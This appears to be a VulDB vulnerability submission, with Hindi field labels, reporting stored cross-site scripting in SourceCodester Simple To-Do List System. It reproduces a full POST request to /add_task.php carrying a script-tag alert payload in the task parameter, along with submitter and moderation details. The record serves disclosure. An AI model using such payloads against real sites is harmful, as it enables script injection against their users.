| शीर्षक | SourceCodester Simple To-Do List System 0 Cross Site Scripting |
|---|
| विवरण | Simple To-Do List System is vulnerable to Stored Cross Site Scripting due to missing input validation. POST Request is provided as below where the Task Parameter is vulnerable to this as the data supplied to the variable is not being sanitized properly leading the JS and HTML tags to be stored on the backend system that then renders back on the dashboard proving that the vulnerability exists in the system.
POST /add_task.php HTTP/1.1
Host: dr-batata.local
Cookie: PHPSESSID=par857rlj9b75j5a8lf7rgupoe
Content-Length: 63
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://dr-batata.local
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dr-batata.local/index.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
task=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&due_date=2025-09-20 |
|---|
| स्रोत | ⚠️ https://youtu.be/A-3KY5E8nOg |
|---|
| उपयोगकर्ता | Kamran Saifullah (UID 4218) |
|---|
| सबमिशन | 20/09/2025 02:40 PM (1 वर्ष पहले) |
|---|
| संयम | 26/09/2025 11:46 AM (6 days later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 323087 [SourceCodester Simple To-Do List System 1.0 Add New Task /fetch_tasks.php क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 0 |
|---|